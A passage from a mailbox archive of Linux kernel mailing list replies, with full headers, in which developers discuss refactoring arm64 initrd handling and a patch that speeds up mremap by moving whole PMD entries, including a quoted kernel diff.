        by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Fri, 26 Oct 2018 11:07:12 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <1bb3bd63-a88e-b668-ea36-f0f985c0e2b1@gmail.com>
X-TM-AS-GCONF: 00
x-cbid: 18102611-4275-0000-0000-000002D426A2
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18102611-4276-0000-0000-000037E03A3A
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-10-26_07:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810260097
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908673 gmane.linux.ports.alpha:5380 gmane.linux.kernel.arc:4624 gmane.linux.ports.arm.kernel:681568 gmane.linux.ports.hexagon:1964 gmane.linux.ports.ia64:29450 gmane.linux.ports.mips.general:67195 gmane.linux.ports.parisc:29251 gmane.linux.ports.ppc64.devel:164943 gmane.linux.ports.riscv:1226 gmane.linux.ports.sh.devel:57698 gmane.linux.ports.sparc:28672 gmane.linux.drivers.devicetree:294546 gmane.linux.kernel.cross-arch:48102
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908673>

On Thu, Oct 25, 2018 at 04:07:13PM -0700, Florian Fainelli wrote:
> On 10/25/18 2:13 PM, Rob Herring wrote:
> > On Thu, Oct 25, 2018 at 12:30 PM Mike Rapoport <rppt@linux.ibm.com> wrote:
> >>
> >> On Thu, Oct 25, 2018 at 08:15:15AM -0500, Rob Herring wrote:
> >>> +Ard
> >>>
> >>> On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
> >>>>
> >>>> On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> >>>>> On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> >>>>>>
> >>>>>> Hi all,
> >>>>>>
> >>>>>> While investigating why ARM64 required a ton of objects to be rebuilt
> >>>>>> when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> >>>>>> because we define __early_init_dt_declare_initrd() differently and we do
> >>>>>> that in arch/arm64/include/asm/memory.h which gets included by a fair
> >>>>>> amount of other header files, and translation units as well.
> >>>>>
> >>>> I think arm64 does not have to redefine __early_init_dt_declare_initrd().
> >>>> Something like this might be just all we need (completely untested,
> >>>> probably it won't even compile):

[ ... ]
 
> FWIW, I am extracting the ARM implementation that parses the initrd
> early command line parameter and the "setup" code doing the page
> boundary alignment and memblock checking into a helper into lib/ that
> other architectures can re-use. So far, this removes the need for
> unicore32, arc and arm to duplicate essentially the same logic.

Presuming you are going to need asm-generic/initrd.h for that as well,
using override for __early_init_dt_declare_initrd in arm64 version of
initrd.h might be the simplest option.

> -- 
> Florian
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Fri, 26 Oct 2018 12:05:25 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <53ec9df5-ef2a-edc5-be1c-bca32959c0bc@gmail.com>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
 <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
 <20181025172935.GA27364@rapoport-lnx>
 <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
 <1bb3bd63-a88e-b668-ea36-f0f985c0e2b1@gmail.com>
 <20181026110708.GA3814@rapoport-lnx>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1540580618 27487 195.159.176.226 (26 Oct 2018 19:03:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 19:03:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.2.1
Cc: Rob Herring <robh@kernel.org>,
        Ard Biesheuvel <ard.biesheuvel@linaro.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips
To: Mike Rapoport <rppt@linux.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 21:03:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gG7ON-0005bI-1Z
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 21:03:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727774AbeJ0Dnw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 23:43:52 -0400
Original-Received: from mail-yb1-f194.google.com ([209.85.219.194]:35313 "EHLO
        mail-yb1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726501AbeJ0Dnv (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 23:43:51 -0400
Original-Received: by mail-yb1-f194.google.com with SMTP id k132-v6so910989ybc.2;
        Fri, 26 Oct 2018 12:05:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=subject:to:cc:references:from:openpgp:autocrypt:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=FAfIpbbf5i32tB0r0OpipHm6jpAr1/uuQfuj8ItsGRA=;
        b=qf+6EyNnERQ9ISNKEs/mkjInmLhEi3e5XFQKCPEk9Rvbx9WMTSytjprKr1IKEWMkyE
         A0TiP8GXcfT4mMjuooA8trWdBcYRNEQ/SQtCXRR7NON8uqPDwo8QOptKmAfFgOCxe1CI
         dgBYCHD675VdwrtYHgijFyUl7N2oE8TFTqSxb5b3bWIGVo1begYx0OeNs40ZDNGviBm9
         5Fsex7kf8CYy/FXCKbGDTA/QRFfTEZBSYEc2XefNvN7iq03zwPD0x80b0r/6iYQiMk5r
         Aj3UYw43WcYJuAbXOui+EXjE1UDiUD5pN1Z1eXW5ZNPzki6NlRY3P6F/sfP5uidsdlY1
         SbFA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:openpgp:autocrypt
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-language:content-transfer-encoding;
        bh=FAfIpbbf5i32tB0r0OpipHm6jpAr1/uuQfuj8ItsGRA=;
        b=qFV3cgu33U77ftefObAxSGYc3oHm+IbAQt8XQeJ+oAWG9Q5KVHRU2H5XOhY6+PLdOD
         uoQKLAyONo0iJrHSr84DEg//i0KoKM6dm/uf7RoOWtk0fQmG0CpYRQrvFjgTbn/KIFu+
         aTBQJav3ENVJWnty8R6J2WgDkZua1TnfRLSmPJUdZX4cAvsV1Vxwz0w2qhAEzUUYpgdc
         jS47bClyXAREwm7yhMcckIZg8R+brJatmtS92NCq9bvhaRNENgqEAoY4Vp63i/O/alWB
         uSEWnJCA10DuWRa8G6Iyz4EUmsQQjaf5xM9qHCy9G/fexBxZT4A774rQilFR2nYW5OlB
         shDA==
X-Gm-Message-State: AGRZ1gIWPQJZ5DR383DRv8oY1kkj5Nmf8opUFr08XWbZxo985yY96XUl
        ZSAPrm6d1V64PGbdFMX7mHOEIGtK
X-Google-Smtp-Source: AJdET5dV1IOus9aqQsph3pmNqMsV4bLMRQ4D26c0WAXpjJOwhptLhWUaKk6TE97vVn+BFlm+D9FO6A==
X-Received: by 2002:a25:73c2:: with SMTP id o185-v6mr4910563ybc.254.1540580736335;
        Fri, 26 Oct 2018 12:05:36 -0700 (PDT)
Original-Received: from [10.67.49.121] ([192.19.223.250])
        by smtp.googlemail.com with ESMTPSA id r5-v6sm6493141ywr.80.2018.10.26.12.05.32
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 26 Oct 2018 12:05:35 -0700 (PDT)
Openpgp: preference=signencrypt
Autocrypt: addr=f.fainelli@gmail.com; prefer-encrypt=mutual; keydata=
 xsDiBEjPuBIRBACW9MxSJU9fvEOCTnRNqG/13rAGsj+vJqontvoDSNxRgmafP8d3nesnqPyR
 xGlkaOSDuu09rxuW+69Y2f1TzjFuGpBk4ysWOR85O2Nx8AJ6fYGCoeTbovrNlGT1M9obSFGQ
 X3IzRnWoqlfudjTO5TKoqkbOgpYqIo5n1QbEjCCwCwCg3DOH/4ug2AUUlcIT9/l3pGvoRJ0E
 AICDzi3l7pmC5IWn2n1mvP5247urtHFs/uusE827DDj3K8Upn2vYiOFMBhGsxAk6YKV6IP0d
 ZdWX6fqkJJlu9cSDvWtO1hXeHIfQIE/xcqvlRH783KrihLcsmnBqOiS6rJDO2x1eAgC8meAX
 SAgsrBhcgGl2Rl5gh/jkeA5ykwbxA/9u1eEuL70Qzt5APJmqVXR+kWvrqdBVPoUNy/tQ8mYc
 nzJJ63ng3tHhnwHXZOu8hL4nqwlYHRa9eeglXYhBqja4ZvIvCEqSmEukfivk+DlIgVoOAJbh
 qIWgvr3SIEuR6ayY3f5j0f2ejUMYlYYnKdiHXFlF9uXm1ELrb0YX4GMHz80nRmxvcmlhbiBG
 YWluZWxsaSA8Zi5mYWluZWxsaUBnbWFpbC5jb20+wmYEExECACYCGyMGCwkIBwMCBBUCCAME
 FgIDAQIeAQIXgAUCVF/S8QUJHlwd3wAKCRBhV5kVtWN2DvCVAJ4u4/bPF4P3jxb4qEY8I2gS
 6hG0gACffNWlqJ2T4wSSn+3o7CCZNd7SLSDOw00ESM+4EhAQAL/o09boR9D3Vk1Tt7+gpYr3
 WQ6hgYVON905q2n 
In-Reply-To: <20181026110708.GA3814@rapoport-lnx>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908970 gmane.linux.ports.alpha:5381 gmane.linux.kernel.arc:4625 gmane.linux.ports.arm.kernel:681653 gmane.linux.ports.hexagon:1965 gmane.linux.ports.ia64:29451 gmane.linux.ports.mips.general:67196 gmane.linux.ports.parisc:29252 gmane.linux.ports.ppc64.devel:164957 gmane.linux.ports.riscv:1229 gmane.linux.ports.sh.devel:57699 gmane.linux.ports.sparc:28673 gmane.linux.drivers.devicetree:294641 gmane.linux.kernel.cross-arch:48103
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908970>

On 10/26/18 4:07 AM, Mike Rapoport wrote:
> On Thu, Oct 25, 2018 at 04:07:13PM -0700, Florian Fainelli wrote:
>> On 10/25/18 2:13 PM, Rob Herring wrote:
>>> On Thu, Oct 25, 2018 at 12:30 PM Mike Rapoport <rppt@linux.ibm.com> wrote:
>>>>
>>>> On Thu, Oct 25, 2018 at 08:15:15AM -0500, Rob Herring wrote:
>>>>> +Ard
>>>>>
>>>>> On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
>>>>>>
>>>>>> On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
>>>>>>> On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
>>>>>>>>
>>>>>>>> Hi all,
>>>>>>>>
>>>>>>>> While investigating why ARM64 required a ton of objects to be rebuilt
>>>>>>>> when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
>>>>>>>> because we define __early_init_dt_declare_initrd() differently and we do
>>>>>>>> that in arch/arm64/include/asm/memory.h which gets included by a fair
>>>>>>>> amount of other header files, and translation units as well.
>>>>>>>
>>>>>> I think arm64 does not have to redefine __early_init_dt_declare_initrd().
>>>>>> Something like this might be just all we need (completely untested,
>>>>>> probably it won't even compile):
> 
> [ ... ]
>  
>> FWIW, I am extracting the ARM implementation that parses the initrd
>> early command line parameter and the "setup" code doing the page
>> boundary alignment and memblock checking into a helper into lib/ that
>> other architectures can re-use. So far, this removes the need for
>> unicore32, arc and arm to duplicate essentially the same logic.
> 
> Presuming you are going to need asm-generic/initrd.h for that as well,
> using override for __early_init_dt_declare_initrd in arm64 version of
> initrd.h might be the simplest option.

What I am contemplating doing is promote
phys_initrd_start/phys_initrd_size to be global variables (similar to
initrd_start, initrd_end) and have a generic helper function for parsing
the initrd= command line parameter and finally removing
__early_init_dt_declare_initrd() because we could have
early_init_dt_check_for_initrd() just populate
phys_initrd_start/phys_initrd_size directly as well as
initrd_start/initrd_end using __va() to preserve compatibility with
architectures that rely on this. Then I would convert ARM64 to check for
phys_initrd_start which is really what it is is trying to do in
arch/arm64/mm/init.c::arm64_memblock_init().

Does that sound like a reasonable approach?
-- 
Florian


From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Fri, 26 Oct 2018 14:11:48 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <20181026211148.GA140716@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
 <20181024125724.yf6frdimjulf35do@kshutemo-mobl1>
 <20181025020907.GA13560@joelaf.mtv.corp.google.com>
 <20181025101900.phqnqpoju5t2gar5@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540588211 12506 195.159.176.226 (26 Oct 2018 21:10:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 21:10:11 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Balbir Singh <bsingharora@gmail.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 I
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 26 23:10:01 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gG9Mm-0002x8-3P
	for glpr-linux-riscv@m.gmane.org; Fri, 26 Oct 2018 23:10:00 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=s7jKYUleSrjqzz6RBv/+/gpTu+ggG6LVZW797QqeWng=; b=QycQLJYal4KQyl
	DhNWZ9N7wUwfZtdxLWWoONdUVXAe4Ih4p1nG+R9mgClL4qKAN5WiDEj0KOQ66xIueasIxY3q/DfDj
	ivdLks8SkDIiXPpNiGpa/jETm5HTSLGPtxBCmp9rbdd0II4aVJO++ijG3G2Lkc8yRohwjmy8Ya6fE
	hnh43eXS1chbTnm6JeEZkaKYf2CVPIBhDRemhq8jFgyEcrfLfr6+UFQV1Mn4xegEwX5mgpVcvu5VC
	LzH43KxNUi6g79/0XOI4R1bn9VUWdrjd9LTalAx8yZD7ZyC1w0pHG89GHmevq+a20FGEWuGf2Iu+O
	RemhsZ30naMQbU7AxHIQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gG9Op-0001Tf-0G; Fri, 26 Oct 2018 21:12:07 +0000
Original-Received: from mail-pf1-x444.google.com ([2607:f8b0:4864:20::444])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gG9Ol-0001S7-Ao
 for linux-riscv@lists.infradead.org; Fri, 26 Oct 2018 21:12:05 +0000
Original-Received: by mail-pf1-x444.google.com with SMTP id j23-v6so1135749pfi.4
 for <linux-riscv@lists.infradead.org>; Fri, 26 Oct 2018 14:11:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=dq+BjoUNcVExlg1sXd41CFSHaNo2sNM3KG7r3+8ZNw0=;
 b=jUdZbGfdMmHbj+wS2nK71WlJiDawq8Itd/RTEa+Uht/1HfD1MG4DERZYGnaq3P9Nc2
 KQ1X/lsCXUB+c4wqS2xa43P9JsuWAMKg9AOWVAhJsoLthDvJPtmObd1QaUfJOcplQ4lI
 jM1YKDpaoKdfaUESMF2KDVofBLWzrI5zbGipg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=dq+BjoUNcVExlg1sXd41CFSHaNo2sNM3KG7r3+8ZNw0=;
 b=AJhu1891vUVNlx8ZTvwMC4kHDD91fS1gsyWzhQH09qNPqJV/bdzy+VRGExkBPBw8VU
 l3Y1iLDiy9b/ZrL1lSyXRLjt+ZvE2sSBEAGSxgq6ugNqbtuYvfa3wT4kWlSl4I+DHW3K
 XQczxqck9jUV0viJsVmQWd9Aq3fJg5h415Kb7fu5Ekbsfa1Nb2yfuRA+/xmPXmM6Sv7O
 ZzVu+3nruFnpEEqwoQ/qDa9cShedsGYs8GOK60IPdEMz1nBzbyaeAuLLFltyUziErgP+
 RQeSMmkgXSI8FbjZUegWNwAraUSY9Ck6epk7D7keAa1xFafSb7PZsQ2lzrQKqaYEhgFE
 aPJA==
X-Gm-Message-State: AGRZ1gJnHiNlJQGlJ+1N/KDw5/QFY2/aYqs2EQNxhR7ie+g/EiH67pFL
 5hnbXOEG1p3wErMiHcgGcapGaA==
X-Google-Smtp-Source: AJdET5fmLpXiZHsclSf8WQrC32LTuEtER38eHQ8nOhnTEjlLxcTgs5o0PRgpqH8CQQiQra8WDw5wjA==
X-Received: by 2002:a63:4454:: with SMTP id
 t20-v6mr4917963pgk.102.1540588311053; 
 Fri, 26 Oct 2018 14:11:51 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id e131-v6sm19942293pfc.52.2018.10.26.14.11.49
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 26 Oct 2018 14:11:49 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181025101900.phqnqpoju5t2gar5@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181026_141203_380563_A1B4E8BE 
X-CRM114-Status: GOOD (  34.64  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:444 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1231 gmane.linux.ports.mips.general:67198 gmane.linux.ports.ia64:29452 gmane.linux.ports.sh.devel:57700 gmane.linux.kernel.mm:206060 gmane.linux.ports.sparc:28674 gmane.comp.emulators.kvm.arm.devel:19598 gmane.linux.ports.hexagon:1966 gmane.linux.kernel.arc:4626 gmane.linux.ports.parisc:29253 gmane.linux.kernel:2909036 gmane.linux.ports.alpha:5382 gmane.linux.ports.ppc64.devel:164960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1231>

On Thu, Oct 25, 2018 at 01:19:00PM +0300, Kirill A. Shutemov wrote:
> On Wed, Oct 24, 2018 at 07:09:07PM -0700, Joel Fernandes wrote:
> > On Wed, Oct 24, 2018 at 03:57:24PM +0300, Kirill A. Shutemov wrote:
> > > On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> > > > On Wed, Oct 24, 2018 at 01:12:56PM +0300, Kirill A. Shutemov wrote:
> > > > > On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> > > > > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > > > > index 9e68a02a52b1..2fd163cff406 100644
> > > > > > --- a/mm/mremap.c
> > > > > > +++ b/mm/mremap.c
> > > > > > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> > > > > >  		drop_rmap_locks(vma);
> > > > > >  }
> > > > > >  
> > > > > > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > > > > > +		  unsigned long new_addr, unsigned long old_end,
> > > > > > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > > > > > +{
> > > > > > +	spinlock_t *old_ptl, *new_ptl;
> > > > > > +	struct mm_struct *mm = vma->vm_mm;
> > > > > > +
> > > > > > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > > > > +	    || old_end - old_addr < PMD_SIZE)
> > > > > > +		return false;
> > > > > > +
> > > > > > +	/*
> > > > > > +	 * The destination pmd shouldn't be established, free_pgtables()
> > > > > > +	 * should have release it.
> > > > > > +	 */
> > > > > > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > > > > > +		return false;
> > > > > > +
> > > > > > +	/*
> > > > > > +	 * We don't have to worry about the ordering of src and dst
> > > > > > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > > > > > +	 */
> > > > > > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > > > > > +	if (old_ptl) {
> > > > > 
> > > > > How can it ever be false?
> > 
> > Kirill,
> > It cannot, you are right. I'll remove the test.
> > 
> > By the way, there are new changes upstream by Linus which flush the TLB
> > before releasing the ptlock instead of after. I'm guessing that patch came
> > about because of reviews of this patch and someone spotted an issue in the
> > existing code :)
> > 
> > Anyway the patch in concern is:
> > eb66ae030829 ("mremap: properly flush TLB before releasing the page")
> > 
> > I need to rebase on top of that with appropriate modifications, but I worry
> > that this patch will slow down performance since we have to flush at every
> > PMD/PTE move before releasing the ptlock. Where as with my patch, the
> > intention is to flush only at once in the end of move_page_tables. When I
> > tried to flush TLB on every PMD move, it was quite slow on my arm64 device [2].
> > 
> > Further observation [1] is, it seems like the move_huge_pmds and move_ptes code
> > is a bit sub optimal in the sense, we are acquiring and releasing the same
> > ptlock for a bunch of PMDs if the said PMDs are on the same page-table page
> > right? Instead we can do better by acquiring and release the ptlock less
> > often.
> > 
> > I think this observation [1] and the frequent TLB flush issue [2] can be solved
> > by acquiring the ptlock once for a bunch of PMDs, move them all, then flush
> > the tlb and then release the ptlock, and then proceed to doing the same thing
> > for the PMDs in the next page-table page. What do you think?
> 
> Yeah, that's viable optimization.
> 
> The tricky part is that one PMD page table can have PMD entires of
> different types: THP, page table that you can move as whole and the one
> that you cannot (for any reason).
> 
> If we cannot move the PMD entry as a whole and must go to PTE page table
> we would need to drop PMD ptl and take PTE ptl (it might be the same lock
> in some configuations).

> Also we don't want to take PMD lock unless it's required.
> 
> I expect it to be not very trivial to get everything right. But take a
> shot :)

Yes, that is exactly the issue I hit when I attempted it. :) The locks need
to be release if we do something different on the next loop iteration. It
complicates the code and not sure if it is worth it in the long run.  On x86
atleast, I don't see any perf issues with the TLB-flush per-PMD move, so the
patch is Ok there. On arm64, it negates the performance benefit even though
its not any worse than what we are doing currently at the PTE level.

My thinking is to take it slow and get the patch in in its current state,
since it improves x86. Then as a next step, look into why the arm64 tlb
flushes are that expensive and look into optimizing that. On arm64 I am
testing on a 4.9 kernel so I'm wondering there are any optimizations since
4.9 that can help speed it up there. After that, if all else fails about
speeding up arm64, then I look into developing the cleanest possible solution
where we can keep the lock held for longer and flush lesser.

thanks,

 - Joel

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
